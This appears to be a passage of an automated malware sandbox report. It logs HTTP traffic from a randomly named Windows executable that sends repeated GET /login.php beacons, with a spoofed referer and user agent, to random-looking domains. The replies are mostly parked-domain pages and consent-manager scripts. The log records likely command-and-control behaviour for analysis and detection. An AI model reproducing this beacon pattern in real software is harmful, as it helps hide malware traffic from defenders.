Nov 11, 2024 18:51:10.409945011 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:08 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 38 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: a8de<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
Nov 11, 2024 18:51:10.410015106 CET	1236	IN	Data Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f Data Ascii: f(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net
Nov 11, 2024 18:51:10.410031080 CET	424	IN	Data Raw: 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3b 76 61 72 20 65 3d 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 76 61 72 20 61 3d 22 6c 61 6e 67 75 61 67 65 73 22 20 69 6e 20 Data Ascii: edLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.pus
Nov 11, 2024 18:51:10.410211086 CET	1236	IN	Data Raw: 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 63 2e 70 75 73 68 28 61 5b 64 5d 29 7d 7d 7d 7d 7d 69 66 28 22 6c 61 6e 67 75 61 67 65 22 20 69 6e 20 6e 61 76 69 67 61 74 6f 72 29 7b 63 2e 70 75 73 68 28 6e 61 76 69 67 61 74 6f 72 2e 6c 61 Data Ascii: 0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLanguage" in navigator){c.push(navigator.userLanguage)}var h="";for(var d=0;d<c.length;d++){var b=c[d].toUpperCase();if(g.indexOf(b)!=-1){h=b;bre
Nov 11, 2024 18:51:10.410386086 CET	1236	IN	Data Raw: 74 22 29 3b 6a 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 2d 61 62 22 2c 22 31 22 29 3b 76 61 72 20 63 3d 78 28 22 63 6d 70 64 65 73 69 67 6e 22 2c 22 63 6d 70 5f 64 65 73 69 67 6e 22 20 69 6e 20 68 3f 68 2e 63 6d 70 5f Data Ascii: t");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_design:"");var f=x("cmpregulationkey","cmp_regulationkey" in h?h.cmp_regulationkey:"");var r=x("cmpgppkey","cmp_gppkey" in h?h.cmp_gppkey:"");var n=x("cmpatt","c
Nov 11, 2024 18:51:10.410398960 CET	1236	IN	Data Raw: 70 64 65 62 75 67 63 6f 76 65 72 61 67 65 22 2c 22 63 6d 70 5f 64 65 62 75 67 63 6f 76 65 72 61 67 65 22 20 69 6e 20 68 3f 68 2e 63 6d 70 5f 64 65 62 75 67 63 6f 76 65 72 61 67 65 3a 22 22 29 3b 69 66 28 61 3d 3d 22 31 22 29 7b 6d 3d 22 69 6e 73 Data Ascii: pdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a=="1"){m="instrumented";p=""}var j=u.createElement("script");j.src=k+"//"+h.cmp_cdn+"/delivery/"+m+"/cmp"+b+p+".js";j.type="text/javascript";j.setAttribute("data-cmp-ab","1")
Nov 11, 2024 18:51:10.410409927 CET	1236	IN	Data Raw: 67 28 30 2c 62 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 29 3b 69 66 28 62 2e 69 6e 64 65 78 4f 66 28 22 3b 22 29 21 3d 2d 31 29 7b 76 61 72 20 63 3d 62 2e 73 75 62 73 74 72 69 6e 67 28 62 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 2b 31 2c 62 2e 69 6e Data Ascii: g(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.substring(b.indexOf("=")+1,b.indexOf(";"))}else{var c=b.substr(b.indexOf("=")+1,b.length)}if(h==g){f=c}var e=b.indexOf(";")+1;if(e==0){e=b.length}b=b.substring(e,b.length)}return(f)};window.cm
Nov 11, 2024 18:51:10.410423040 CET	518	IN	Data Raw: 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 29 7b 5f 5f 67 70 70 2e 65 3d 5f 5f 67 70 70 2e 65 7c 7c 5b 5d 3b 69 66 28 21 28 22 6c 61 73 74 49 64 22 20 69 6e 20 5f 5f 67 70 70 29 29 7b 5f 5f 67 70 70 2e 6c 61 73 74 49 64 3d 30 7d 5f 5f 67 Data Ascii: addEventListener"){__gpp.e=__gpp.e\|\|[];if(!("lastId" in __gpp)){__gpp.lastId=0}__gpp.lastId++;var c=__gpp.lastId;__gpp.e.push({id:c,callback:f});return{eventName:"listenerRegistered",listenerId:c,data:true,pingData:window.cmp_gpp_ping()}}else{
Nov 11, 2024 18:51:10.410844088 CET	1236	IN	Data Raw: 65 63 74 69 6f 6e 49 64 3a 33 2c 67 70 70 56 65 72 73 69 6f 6e 3a 31 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b 30 5d 2c 67 70 70 53 74 72 69 6e 67 3a 22 22 2c 70 69 6e 67 44 61 74 Data Ascii: ectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};window.cmp_msghandler
Nov 11, 2024 18:51:10.410856009 CET	1236	IN	Data Raw: 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 2c 22 70 61 72 61 6d 65 74 65 72 22 20 69 6e 20 62 3f 62 2e 70 61 72 61 6d 65 74 Data Ascii: llId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},"parameter" in b?b.parameter:null,"version" in b?b.version:1)}};window.cmp_setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(wi
Nov 11, 2024 18:51:10.414930105 CET	1236	IN	Data Raw: 70 5f 73 65 74 53 74 75 62 28 22 5f 5f 75 73 70 61 70 69 22 29 7d 69 66 28 21 28 22 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 29 7b 77 69 Data Ascii: p_setStub("__uspapi")}if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_setGppStub("__gpp")};</script><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://galyqaz.com/px.js?ch=1"></scrip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	52170	91.195.240.19	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:08.335652113 CET	271	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive
Nov 11, 2024 18:51:09.031400919 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:08 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA== last-modified: Mon, 11 Nov 2024 17:51:08 GMT x-cache-miss-from: parking-7596689c44-bsx5j server: Parking/1.0 Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED] Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com - gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From g
Nov 11, 2024 18:51:09.031519890 CET	1236	IN	Data Raw: 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c Data Ascii: eneral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><linkAEC rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sed
Nov 11, 2024 18:51:09.031533957 CET	1236	IN	Data Raw: 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 Data Ascii: {border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[
Nov 11, 2024 18:51:09.031969070 CET	636	IN	Data Raw: 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 61 6e Data Ascii: t-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;
Nov 11, 2024 18:51:09.031980991 CET	1236	IN	Data Raw: 72 2d 73 65 61 72 63 68 62 6f 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 73 Data Ascii: r-searchbox{margin-bottom:50px;text-align:center}.container-searchbox__content{display:inline-block;font-family:arial,sans-serif;font-size:12px}.container-searchbox__searchtext-label{display:none}.container-searchbox__input,.container-searchbo
Nov 11, 2024 18:51:09.031991959 CET	1236	IN	Data Raw: 68 0d 0a 35 37 36 0d 0a 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 66 35 66 35 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 35 Data Ascii: h576:100%;background:#5f5f5f;font-size:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{margin-left:15%;margin-right:15%}.container-cookie-message__content
Nov 11, 2024 18:51:09.032004118 CET	1236	IN	Data Raw: 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 62 6f 64 79 20 74 61 62 6c 65 20 74 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 Data Ascii: okie-modal-window__content-body table td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-99AEC9}.btn{display:inline-block;border-style:solid;border-radius:5px;p
Nov 11, 2024 18:51:09.032820940 CET	1236	IN	Data Raw: 74 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 61 36 32 36 38 3b 2d 77 65 62 6b 69 74 2d 74 Data Ascii: te;cursor:pointer;top:0;left:0;right:0;bottom:0;background-color:#5a6268;-webkit-transition:.4s;transition:.4s}.switch__slider:before{position:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transit
Nov 11, 2024 18:51:09.032834053 CET	639	IN	Data Raw: 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 72 2d 61 64 73 2d 2d 74 77 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 2e 35 25 3b 68 65 69 67 68 74 3a 37 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 77 65 62 61 72 63 68 69 Data Ascii: ent__container-ads--twot{margin-top:2.5%;height:700px}.container-content__webarchive{margin-top:4.5%}.container-content__header{color:#848484;font-size:15px;margin:0}.container-content__left{background:url("//img.sedoparking.com/templates/bg/a
Nov 11, 2024 18:51:09.032850981 CET	1236	IN	Data Raw: 3b 7a 2d 69 6e 64 65 78 3a 2d 31 3b 74 6f 70 3a 35 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 69 6e 68 65 72 69 74 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d 2d 6c 70 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 37 32 30 70 78 7d 2e 63 6f 6e Data Ascii: ;z-index:-1;top:50px;position:inherit}.container-content--lp{min-height:720px}.container-content--rp{min-height:820px}.container-content--rp .container-content__right,.container-content--rp .container-content__left{background-position:0 40px}.
Nov 11, 2024 18:51:09.036621094 CET	1236	IN	Data Raw: 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 Data Ascii: er-ads-list__list-element-link:visited{text-decoration:underline}.two-tier-ads-list__list-element-link:hover,.two-tier-ads-list__list-element-link:active,.two-tier-ads-list__list-element-link:focus{text-decoration:none}.webarchive-block{text-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	52172	99.83.170.3	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:08.339626074 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Nov 11, 2024 18:51:08.769769907 CET	166	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://puzylyp.com/login.php Server: Caddy Date: Mon, 11 Nov 2024 17:51:08 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50217	199.191.50.83	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:09.068192005 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:11.169269085 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:09 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 38 66 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: a8f4<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
Nov 11, 2024 18:51:11.169282913 CET	94	IN	Data Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f Data Ascii: f(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.c
Nov 11, 2024 18:51:11.169296026 CET	1236	IN	Data Raw: 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 Data Ascii: mp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in windo
Nov 11, 2024 18:51:11.169382095 CET	1236	IN	Data Raw: 76 69 67 61 74 6f 72 2e 6c 61 6e 67 75 61 67 65 73 3a 5b 5d 3b 69 66 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 21 3d 2d 31 29 7b 63 2e 70 75 73 68 28 66 2e 73 75 62 73 74 72 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c Data Ascii: vigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase())}else{if("cmp_setlang" in window&&window.c
Nov 11, 2024 18:51:11.169543028 CET	424	IN	Data Raw: 78 4f 66 28 69 29 2b 73 2c 39 39 39 39 29 7d 65 6c 73 65 7b 69 66 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 Data Ascii: xOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.indexOf("&"))}return w}var k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:")
Nov 11, 2024 18:51:11.169605970 CET	1236	IN	Data Raw: 61 72 20 66 3d 78 28 22 63 6d 70 72 65 67 75 6c 61 74 69 6f 6e 6b 65 79 22 2c 22 63 6d 70 5f 72 65 67 75 6c 61 74 69 6f 6e 6b 65 79 22 20 69 6e 20 68 3f 68 2e 63 6d 70 5f 72 65 67 75 6c 61 74 69 6f 6e 6b 65 79 3a 22 22 29 3b 76 61 72 20 72 3d 78 Data Ascii: ar f=x("cmpregulationkey","cmp_regulationkey" in h?h.cmp_regulationkey:"");var r=x("cmpgppkey","cmp_gppkey" in h?h.cmp_gppkey:"");var n=x("cmpatt","cmp_att" in h?h.cmp_att:"");j.src=k+"//"+h.cmp_host+"/delivery/cmp.php?"+("cmp_id" in h&&h.cmp_
